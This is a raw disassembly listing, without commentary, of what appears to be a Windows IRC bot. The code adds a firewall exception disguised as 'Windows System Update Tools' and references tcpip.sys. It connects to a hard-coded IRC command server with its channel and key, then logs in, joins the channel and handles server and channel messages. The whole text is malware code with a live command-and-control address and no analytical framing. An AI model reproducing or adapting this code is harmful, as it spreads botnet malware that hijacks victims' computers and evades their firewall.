nop
call near ptr 7C802520h
push dword ptr [ebp-4]
nop
call near ptr 7C809B47h
mov eax, dword_5158A4
cmp [eax+8], ebx
jz short loc_40EF85
push 7D0h
nop
call near ptr 7C802442h
mov eax, dword_5158A4
push dword ptr [eax+8]
nop
call near ptr 7C831EABh
loc_40EF85: ; CODE XREF: ___:0040EF3Dj
; ___:0040EF6Aj
lea eax, [ebp-3F4h]
push esi
push eax
lea eax, [ebp-5FCh]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_4173AC
add esp, 10h
cmp dword_42ECF4, ebx
jz short loc_40EFBE
cmp dword_441488, ebx
jnz short loc_40EFBE
lea eax, [ebp-4F8h]
push eax
call sub_40C738
pop ecx
loc_40EFBE: ; CODE XREF: ___:0040EFA7j
; ___:0040EFAFj
cmp dword_42ED08, ebx
jz short loc_40F039
lea eax, [ebp-5FCh]
push offset aWindowsSystemU ; "Windows System Update Tools"
push eax
push offset aSEnabledS ; "%s:*:Enabled:%s"
lea eax, [ebp-1E8h]
push 100h
push eax
call sub_41792A
add esp, 14h
lea eax, [ebp-4]
push ebx
push eax
push ebx
push 0F003Fh
push ebx
push ebx
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
push 80000002h
call dword_44136C ; RegCreateKeyExA
lea eax, [ebp-1E8h]
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp-1E8h]
push eax
push edi
lea eax, [ebp-5FCh]
push ebx
push eax
push dword ptr [ebp-4]
call dword_4413DC ; RegSetValueExA
push dword ptr [ebp-4]
call dword_441394 ; RegCloseKey
loc_40F039: ; CODE XREF: ___:0040EFC4j
lea eax, [ebp-0A4h]
push offset dword_434A44
push eax
call sub_4173AC
push ebx
lea eax, [ebp-0A4h]
push ebx
push eax
call sub_416E58
lea eax, [ebp-0A4h]
push eax
call sub_40C4F7
push 0B80h
push ebx
push offset dword_446090
call sub_417430
lea eax, [ebp-0A4h]
push offset unk_434A0C
push eax
call sub_4173AC
push ebx
lea eax, [ebp-0A4h]
push edi
push eax
call sub_416E58
add esp, 38h
mov edi, eax
mov esi, dword_42109C
lea eax, [ebp-8]
push eax
push ebx
push ebx
push offset byte_415ED7
push ebx
push ebx
call esi ; CreateThread
imul edi, 234h
cmp eax, ebx
mov dword_446E24[edi], eax
jnz short loc_40F0D8
nop
call near ptr 7C910331h
push eax
lea eax, [ebp-0A4h]
push offset unk_4349B8
push eax
call sub_4173AC
add esp, 0Ch
loc_40F0D8: ; CODE XREF: ___:0040F0BBj
lea eax, [ebp-0A4h]
push eax
call sub_40C4F7
lea eax, [ebp-0A4h]
mov dword ptr [esp], offset unk_43497C
push eax
call sub_4173AC
push ebx
lea eax, [ebp-0A4h]
push 1
push eax
call sub_416E58
add esp, 14h
mov edi, eax
lea eax, [ebp-8]
push eax
push ebx
push ebx
push offset dword_416B9C
push ebx
push ebx
call esi ; CreateThread
imul edi, 234h
cmp eax, ebx
mov dword_446E24[edi], eax
jnz short loc_40F145
nop
call near ptr 7C910331h
push eax
lea eax, [ebp-0A4h]
push offset unk_434930
push eax
call sub_4173AC
add esp, 0Ch
loc_40F145: ; CODE XREF: ___:0040F128j
lea eax, [ebp-0A4h]
push eax
call sub_40C4F7
lea eax, [ebp-0A4h]
mov dword ptr [esp], offset unk_4348F8
push eax
call sub_4173AC
push ebx
lea eax, [ebp-0A4h]
push 1
push eax
call sub_416E58
add esp, 14h
mov edi, eax
lea eax, [ebp-8]
push eax
lea eax, [ebp-4F8h]
push ebx
push eax
push offset dword_40C7A8
push ebx
push ebx
call esi ; CreateThread
imul edi, 234h
cmp eax, ebx
mov dword_446E24[edi], eax
jnz short loc_40F1B8
nop
call near ptr 7C910331h
push eax
lea eax, [ebp-0A4h]
push offset unk_4348AC
push eax
call sub_4173AC
add esp, 0Ch
loc_40F1B8: ; CODE XREF: ___:0040F19Bj
lea eax, [ebp-0A4h]
push eax
call sub_40C4F7
call sub_417408
push 7Fh
push offset aPriv_gigaservi ; "priv.gigaservice.it"
push offset dword_5154CC
mov dword_515650, ebx
call sub_4182F0
mov eax, dword_42ECD8
push 3Fh
mov edi, offset dword_51554C
push offset aSodoma_3 ; "##sodoma_3"
push edi
mov dword_51561C, eax
call sub_4182F0
push 3Fh
mov esi, offset dword_51558C
push offset aS0dom4j03 ; "s0dom4j03"
push esi
call sub_4182F0
add esp, 28h
mov dword_515620, ebx
loc_40F217: ; CODE XREF: ___:0040F2BDj
; ___:0040F2C8j ...
mov [ebp-4], ebx
loc_40F21A: ; CODE XREF: ___:0040F271j
cmp dword_4414A0, ebx
jnz short loc_40F238
lea eax, [ebp-14h]
push ebx
push eax
call dword_4412FC ; InternetGetConnectedState
test eax, eax
jnz short loc_40F238
push 7530h
jmp short loc_40F264
; ---------------------------------------------------------------------------
loc_40F238: ; CODE XREF: ___:0040F220j
; ___:0040F22Fj
push offset dword_5154C8
mov dword_51564C, ebx
call sub_40F326
cmp eax, 2
mov [ebp-0Ch], eax
jz loc_40F312
cmp dword_51564C, ebx
jz short loc_40F25F
dec dword ptr [ebp-4]
loc_40F25F: ; CODE XREF: ___:0040F25Aj
push 0BB8h
loc_40F264: ; CODE XREF: ___:0040F236j
nop
call near ptr 7C802442h
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_40F21A
cmp dword ptr [ebp-0Ch], 2
jz loc_40F312
cmp [ebp-10h], ebx
jz short loc_40F2C2
push 7Fh
push offset aPriv_gigaservi ; "priv.gigaservice.it"
push offset dword_5154CC
call sub_4182F0
mov eax, dword_42ECD8
push 3Fh
push offset aSodoma_3 ; "##sodoma_3"
push edi
mov dword_51561C, eax
call sub_4182F0
push 3Fh
push offset aS0dom4j03 ; "s0dom4j03"
push esi
call sub_4182F0
add esp, 24h
mov [ebp-10h], ebx
jmp loc_40F217
; ---------------------------------------------------------------------------
loc_40F2C2: ; CODE XREF: ___:0040F280j
cmp byte_51563C, bl
jz loc_40F217
push 7Fh
push offset byte_51563C
push offset dword_5154CC
call sub_4182F0
mov eax, dword_42ECDC
push 3Fh
push offset dword_515640
push edi
mov dword_51561C, eax
call sub_4182F0
push 3Fh
push offset dword_515644
push esi
call sub_4182F0
add esp, 24h
mov dword ptr [ebp-10h], 1
jmp loc_40F217
; ---------------------------------------------------------------------------
loc_40F312: ; CODE XREF: ___:0040F24Ej
; ___:0040F277j
call sub_417021
loc_40F317: ; CODE XREF: ___:0040ECDCj
; ___:0040ECECj
call dword_441318 ; WSACleanup
loc_40F31D: ; CODE XREF: ___:0040ECCFj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F326 proc near ; CODE XREF: ___:0040F243p
; DATA XREF: sub_40F6F1+3C0Bo
var_4B4 = byte ptr -4B4h
var_3B0 = byte ptr -3B0h
var_198 = dword ptr -198h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_D0 = byte ptr -0D0h
var_90 = byte ptr -90h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = byte ptr -30h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 4B4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 59h
mov esi, eax
pop ecx
lea edi, [ebp+var_194]
xor ebx, ebx
rep movsd
mov [ebp+var_4], ebx
mov dword ptr [eax+160h], 1
loc_40F351: ; CODE XREF: sub_40F326+ABj
; sub_40F326+21Aj ...
push 10h
lea eax, [ebp+var_14]
push ebx
push eax
call sub_417430
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_40]
call dword_4413B8 ; ntohs
mov [ebp+var_12], ax
lea eax, [ebp+var_190]
push eax
call sub_40AE95
cmp eax, ebx
pop ecx
mov [ebp+var_10], eax
jz loc_40F55F
push 6
push 1
push 2
call dword_441438 ; socket
mov esi, eax
mov eax, [ebp+var_38]
imul eax, 234h
push 10h
mov dword_446E1C[eax], esi
lea eax, [ebp+var_14]
push eax
push esi
call dword_441360 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40F3D6
push esi
call dword_441450 ; closesocket
call sub_40AEBE
push 7D0h
loc_40F3CB: ; CODE XREF: sub_40F326+22Aj
nop
call near ptr 7C802442h
jmp loc_40F351
; ---------------------------------------------------------------------------
loc_40F3D6: ; CODE XREF: sub_40F326+92j
push 1Ch
lea eax, [ebp+var_30]
push ebx
push eax
call sub_417430
push ebx
lea eax, [ebp+var_30]
push dword_42ED04
push dword_42ED00
push eax
push esi
call sub_4162D6
push 1Bh
mov [ebp+arg_0], eax
push eax
mov eax, [ebp+var_38]
imul eax, 234h
add eax, offset byte_446E28
push eax
call sub_4182F0
lea eax, [ebp+var_190]
push eax
push offset dword_434B48
call sub_40C56B
add esp, 34h
cmp dword_42ED0C, ebx
jz loc_40F504
call sub_40B051
test eax, eax
jz loc_40F504
lea eax, [ebp+var_4B4]
push 104h
push eax
nop
call near ptr 7C814EEAh
lea eax, [ebp+var_4B4]
push eax
lea eax, [ebp+var_3B0]
push offset aSDriversTcpip_ ; "%s\\drivers\\tcpip.sys"
push eax
call sub_4173AC
lea eax, [ebp+var_3B0]
push eax
call sub_40C127
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 3B10C483h, 81840FFBh, 8D000000h, 0FFFC5085h, 10468FFh
dd 8D500000h, 0FFFD5C85h, 0B58950FFh, 0FFFFFD54h, 0FE649D89h
dd 49E8FFFFh, 5300008Eh, 68216Ah, 8900434Bh, 0FFFE60BDh
dd 799EE8FFh, 0C4830000h, 58858918h, 8DFFFFFDh, 8D50FC45h
dd 0FFFD5485h, 685053FFh, 40B0E7h, 0E8905353h, 7C40115Bh
dd 0FD588D8Bh, 0C969FFFFh, 234h, 8189C33Bh, 446E24h
; ---------------------------------------------------------------------------
jz short loc_40F504
loc_40F4F2: ; CODE XREF: sub_40F326+1DCj
cmp [ebp+var_198], ebx
jnz short loc_40F504
push 32h
nop
call near ptr 7C802442h
jmp short loc_40F4F2
; ---------------------------------------------------------------------------
loc_40F504: ; CODE XREF: sub_40F326+107j
; sub_40F326+114j ...
push [ebp+var_3C]
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_90]
push eax
lea eax, [ebp+var_D0]
push [ebp+var_194]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_110]
push eax
push esi
call sub_40F576
add esp, 20h
mov edi, eax
push esi
call dword_441450 ; closesocket
cmp edi, ebx
jz loc_40F351
cmp edi, 1
jnz short loc_40F555
push 0DBBA0h
jmp loc_40F3CB
; ---------------------------------------------------------------------------
loc_40F555: ; CODE XREF: sub_40F326+223j
cmp edi, 2
jz short loc_40F563
jmp loc_40F351
; ---------------------------------------------------------------------------
loc_40F55F: ; CODE XREF: sub_40F326+5Fj
xor eax, eax
jmp short loc_40F56F
; ---------------------------------------------------------------------------
loc_40F563: ; CODE XREF: sub_40F326+232j
push [ebp+var_38]
call sub_417174
pop ecx
push 2
pop eax
loc_40F56F: ; CODE XREF: sub_40F326+23Bj
pop edi
pop esi
pop ebx
leave
retn 4
sub_40F326 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F576 proc near ; CODE XREF: sub_40F326+207p
var_1A0C = byte ptr -1A0Ch
var_A0C = byte ptr -0A0Ch
var_23C = byte ptr -23Ch
var_19C = byte ptr -19Ch
var_9C = byte ptr -9Ch
var_1C = byte ptr -1Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A0Ch
call sub_417B70
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+var_19C]
pop ecx
loc_40F594: ; CODE XREF: sub_40F576+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_40F594
cmp byte_515638, bl
jz short loc_40F5BB
push offset byte_515638
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_40DBCA
add esp, 0Ch
loc_40F5BB: ; CODE XREF: sub_40F576+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_1C]
push ebx
push ebx
push 1
push eax
push [ebp+arg_10]
call sub_4162D6
add esp, 14h
push eax
lea eax, [ebp+var_9C]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_4173AC
add esp, 14h
lea eax, [ebp+var_9C]
push ebx
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_9C]
push eax
push [ebp+arg_0]
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40F628
push [ebp+arg_0]
call dword_441450 ; closesocket
push 1388h
nop
call near ptr 7C802442h
loc_40F621: ; CODE XREF: sub_40F576+DCj
; sub_40F576+156j
xor eax, eax
loc_40F623: ; CODE XREF: sub_40F576+176j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40F628: ; CODE XREF: sub_40F576+95j
; sub_40F576+FBj ...
mov esi, 1000h
lea eax, [ebp+var_1A0C]
push esi
push ebx
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp+var_1A0C]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4413D0 ; recv
test eax, eax
jle short loc_40F621
lea eax, [ebp+var_A0C]
push eax
lea eax, [ebp+var_1A0C]
push eax
call sub_40A7DD
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
mov [ebp+arg_10], ebx
jle short loc_40F628
lea edi, [ebp+var_A0C]
loc_40F679: ; CODE XREF: sub_40F576+168j
push 1
pop esi
loc_40F67C: ; CODE XREF: sub_40F576+147j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_23C]
push eax
lea eax, [ebp+var_19C]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_40F6F1
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_40F6BF
push 7D0h
nop
call near ptr 7C802442h
jmp short loc_40F67C
; ---------------------------------------------------------------------------
loc_40F6BF: ; CODE XREF: sub_40F576+13Aj
cmp esi, 0FFFFFFFDh
jz short loc_40F6E9
cmp esi, 0FFFFFFFEh
jz short loc_40F6E5
cmp esi, 0FFFFFFFFh
jz loc_40F621
inc [ebp+arg_10]
add edi, 4
mov eax, [ebp+arg_10]
cmp eax, [ebp+var_4]
jl short loc_40F679
jmp loc_40F628
; ---------------------------------------------------------------------------
loc_40F6E5: ; CODE XREF: sub_40F576+151j
push 1
jmp short loc_40F6EB
; ---------------------------------------------------------------------------
loc_40F6E9: ; CODE XREF: sub_40F576+14Cj
push 2
loc_40F6EB: ; CODE XREF: sub_40F576+171j
pop eax
jmp loc_40F623
sub_40F576 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F6F1 proc near ; CODE XREF: sub_40F576+12Dp
var_15B0 = byte ptr -15B0h
var_11B0 = byte ptr -11B0h
var_FB0 = byte ptr -0FB0h
var_DB0 = byte ptr -0DB0h
var_CB0 = byte ptr -0CB0h
var_CAC = byte ptr -0CACh
var_BAC = byte ptr -0BACh
var_BA8 = byte ptr -0BA8h
var_AA8 = byte ptr -0AA8h
var_A28 = byte ptr -0A28h
var_9C7 = byte ptr -9C7h
var_9C6 = byte ptr -9C6h
var_9C4 = byte ptr -9C4h
var_9C3 = byte ptr -9C3h
var_9BA = byte ptr -9BAh
var_9B8 = byte ptr -9B8h
var_9B6 = byte ptr -9B6h
var_9B5 = byte ptr -9B5h
var_928 = byte ptr -928h
var_90C = dword ptr -90Ch
var_908 = byte ptr -908h
var_804 = dword ptr -804h
var_800 = dword ptr -800h
var_7FC = byte ptr -7FCh
var_7F8 = dword ptr -7F8h
var_7F4 = byte ptr -7F4h
var_7F0 = dword ptr -7F0h
var_7EC = dword ptr -7ECh
var_7E8 = byte ptr -7E8h
var_780 = byte ptr -780h
var_774 = byte ptr -774h
var_770 = dword ptr -770h
var_76C = byte ptr -76Ch
var_768 = byte ptr -768h
var_75C = byte ptr -75Ch
var_710 = dword ptr -710h
var_708 = byte ptr -708h
var_6FC = dword ptr -6FCh
var_6F8 = byte ptr -6F8h
var_6F4 = byte ptr -6F4h
var_6F0 = dword ptr -6F0h
var_6EC = byte ptr -6ECh
var_6E8 = byte ptr -6E8h
var_681 = byte ptr -681h
var_680 = byte ptr -680h
var_678 = byte ptr -678h
var_670 = byte ptr -670h
var_66C = byte ptr -66Ch
var_668 = byte ptr -668h
var_5F8 = byte ptr -5F8h
var_5F4 = dword ptr -5F4h
var_5F0 = dword ptr -5F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_578 = dword ptr -578h
var_574 = dword ptr -574h
var_570 = dword ptr -570h
var_56C = dword ptr -56Ch
var_568 = dword ptr -568h
var_564 = dword ptr -564h
var_560 = dword ptr -560h
var_55C = byte ptr -55Ch
var_50C = dword ptr -50Ch
var_508 = byte ptr -508h
var_504 = dword ptr -504h
var_500 = byte ptr -500h
var_4F4 = dword ptr -4F4h
var_4F0 = dword ptr -4F0h
var_4EC = byte ptr -4ECh
var_4C0 = byte ptr -4C0h
var_4A0 = dword ptr -4A0h
var_488 = byte ptr -488h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = byte ptr -45Ch
var_458 = byte ptr -458h
var_444 = byte ptr -444h
var_434 = byte ptr -434h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = byte ptr -418h
var_40C = dword ptr -40Ch
var_408 = byte ptr -408h
var_3FC = byte ptr -3FCh
var_3F8 = byte ptr -3F8h
var_3D8 = byte ptr -3D8h
var_3B4 = byte ptr -3B4h
var_398 = byte ptr -398h
var_388 = byte ptr -388h
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2EC = word ptr -2ECh
var_2EA = word ptr -2EAh
var_2E8 = dword ptr -2E8h
var_2DC = byte ptr -2DCh
var_DC = dword ptr -0DCh
var_D8 = byte ptr -0D8h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = byte ptr -0A4h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_54 = byte ptr -54h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 15B0h
call sub_417B70
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2DC]
push ebx
push eax
mov [ebp+var_C0], 3
mov [ebp+var_10], ebx
mov [ebp+var_AC], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_DC], ebx
call sub_417430
push 1Bh
lea eax, [ebp+var_928]
push [ebp+arg_10]
push eax
call sub_4182F0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_40FAB8
push esi
lea eax, [ebp+var_FB0]
push ebx
push eax
call sub_417430
dec esi
lea eax, [ebp+var_FB0]
push esi
push [ebp+arg_0]
push eax
call sub_4182F0
lea eax, [ebp+var_FB0]
push offset asc_438244 ; " :"
push eax
call sub_417980
mov [ebp+var_C], eax
lea eax, [ebp+var_FB0]
push esi
push eax
lea eax, [ebp+var_11B0]
push eax
call sub_4182F0
mov esi, offset asc_428300 ; " "
lea eax, [ebp+var_11B0]
push esi
push eax
call sub_41824D
add esp, 34h
mov [ebp+var_94], eax
lea edi, [ebp+var_90]
mov [ebp+var_BC], 1Fh
loc_40F7C4: ; CODE XREF: sub_40F6F1+E7j
push esi
push ebx
call sub_41824D
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_BC]
pop ecx
jnz short loc_40F7C4
mov esi, [ebp+var_94]
cmp esi, ebx
jz loc_40FAB8
cmp [ebp+var_90], ebx
jz loc_40FAB8
push 100h
lea eax, [ebp+var_A28]
push ebx
push eax
call sub_417430
add esp, 0Ch
lea ecx, [ebp+var_18]
push 1Fh
pop edx
push 1
pop edi
loc_40F812: ; CODE XREF: sub_40F6F1+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_40F83E
cmp byte ptr [eax], 2Dh
jnz short loc_40F846
cmp [eax+2], bl
jnz short loc_40F846
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_A28], 1
mov esi, [ebp+var_94]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_40F83E: ; CODE XREF: sub_40F6F1+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_40F812
loc_40F846: ; CODE XREF: sub_40F6F1+12Aj
; sub_40F6F1+12Fj
cmp [ebp+var_9B5], bl
jz short loc_40F851
mov [ebp+var_8], edi
loc_40F851: ; CODE XREF: sub_40F6F1+15Bj
cmp [ebp+var_9BA], bl
jz short loc_40F85F
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_40F85F: ; CODE XREF: sub_40F6F1+166j
cmp byte ptr [esi], 0Ah
jz short loc_40F899
push 7Fh
lea eax, [ebp+var_AA8]
push esi
push eax
call sub_4182F0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_D8]
push eax
call sub_4182F0
lea eax, [ebp+var_D8]
push offset asc_438240 ; "!"
push eax
call sub_41824D
add esp, 20h
loc_40F899: ; CODE XREF: sub_40F6F1+171j
push esi
push offset aPing ; "PING"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F8EA
push [ebp+var_90]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_40DBCA
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_40F991
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40DBCA
add esp, 10h
jmp loc_40F991
; ---------------------------------------------------------------------------
loc_40F8EA: ; CODE XREF: sub_40F6F1+1B7j
mov esi, [ebp+var_90]
push esi
push offset a001 ; "001"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_415AE2
push esi
push offset a005 ; "005"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_415AE2
push esi
push offset a302_0 ; "302"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F955
push offset a@ ; "@"
push [ebp+var_88]
call sub_417980
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40F991
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_4182F0
add esp, 0Ch
jmp short loc_40F991
; ---------------------------------------------------------------------------
loc_40F955: ; CODE XREF: sub_40F6F1+238j
push esi
push offset a433 ; "433"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F998
push ebx
push dword_42ED04
push dword_42ED00
push [ebp+arg_10]
push [ebp+arg_4]
call sub_4162D6
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40DBCA
add esp, 20h
loc_40F991: ; CODE XREF: sub_40F6F1+1D8j
; sub_40F6F1+1F4j ...
mov eax, edi
jmp loc_40FABB
; ---------------------------------------------------------------------------
loc_40F998: ; CODE XREF: sub_40F6F1+273j
mov esi, [ebp+arg_18]
mov [ebp+var_BC], 2
mov edi, 80h
loc_40F9AA: ; CODE XREF: sub_40F6F1+2DEj
lea eax, [ebp+var_AA8]
push eax
push esi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F9C7
mov [ebp+var_AC], 1
loc_40F9C7: ; CODE XREF: sub_40F6F1+2CAj
add esi, edi
dec [ebp+var_BC]
jnz short loc_40F9AA
mov esi, [ebp+var_90]
push esi
push offset aKick ; "KICK"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_40FAC0
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 2
loc_40F9F6: ; CODE XREF: sub_40F6F1+392j
cmp [esi], bl
jz loc_40FA7E
push 7Fh
lea eax, [ebp+var_AA8]
push esi
push eax
call sub_4182F0
lea eax, [ebp+var_D8]
add esp, 0Ch
test eax, eax
jz short loc_40FA7E
cmp [ebp+var_88], ebx
jz short loc_40FA7E
push [ebp+var_88]
lea eax, [ebp+var_D8]
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FA7E
lea eax, [ebp+var_D8]
mov [esi], bl
push eax
lea eax, [ebp+var_2DC]
push offset dword_4381C4
push eax
call sub_4173AC
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_D8]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_40DBCA
lea eax, [ebp+var_2DC]
push eax
call sub_40C4F7
add esp, 20h
loc_40FA7E: ; CODE XREF: sub_40F6F1+307j
; sub_40F6F1+327j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_40F9F6
push [ebp+var_88]
push [ebp+arg_10]
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FAB8
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_40FAAD: ; CODE XREF: sub_40F6F1+618j
; sub_40F6F1+96Fj
push [ebp+arg_4]
call sub_40DBCA
loc_40FAB5: ; CODE XREF: sub_40F6F1+5904j
; sub_40F6F1+591Fj ...
add esp, 10h
loc_40FAB8: ; CODE XREF: sub_40F6F1+5Bj
; sub_40F6F1+F1j ...
push 1
loc_40FABA: ; CODE XREF: sub_40F6F1+5E29j
pop eax
loc_40FABB: ; CODE XREF: sub_40F6F1+2A2j
; sub_40F6F1+2375j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40FAC0: ; CODE XREF: sub_40F6F1+2F5j
push esi
push offset aNick ; "NICK"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_40FC16
mov eax, [ebp+var_8C]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 2
mov [ebp+arg_24], eax
loc_40FAE9: ; CODE XREF: sub_40F6F1+44Aj
lea eax, [ebp+var_AA8]
push eax
push esi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FB36
lea eax, [ebp+var_AA8]
push 21h
push eax
call sub_418630
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_40FB36
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_417A00
push [ebp+arg_1C]
push edi
call sub_417A10
add esp, 10h
mov edi, 80h
loc_40FB36: ; CODE XREF: sub_40F6F1+409j
; sub_40F6F1+420j
add esi, edi
dec [ebp+arg_0]
jnz short loc_40FAE9
lea eax, [ebp+var_D8]
test eax, eax
jz loc_40FAB8
cmp [ebp+arg_24], ebx
jz loc_40FAB8
push [ebp+arg_10]
lea eax, [ebp+var_D8]
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FB7E
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_4182F0
add esp, 0Ch
jmp loc_40FAB8
; ---------------------------------------------------------------------------
loc_40FB7E: ; CODE XREF: sub_40F6F1+476j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40FB83: ; CODE XREF: sub_40F6F1+4B3j
cmp [edi], bl
jz short loc_40FB9A
lea eax, [ebp+var_AA8]
push eax
push edi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_40FBAB
loc_40FB9A: ; CODE XREF: sub_40F6F1+494j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40FB83
jmp loc_40FAB8
; ---------------------------------------------------------------------------
loc_40FBAB: ; CODE XREF: sub_40F6F1+4A7j
lea eax, [ebp+var_AA8]
push 21h
push eax
call sub_418630
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz loc_40FAB8
push eax
call sub_417AF0
push [ebp+arg_24]
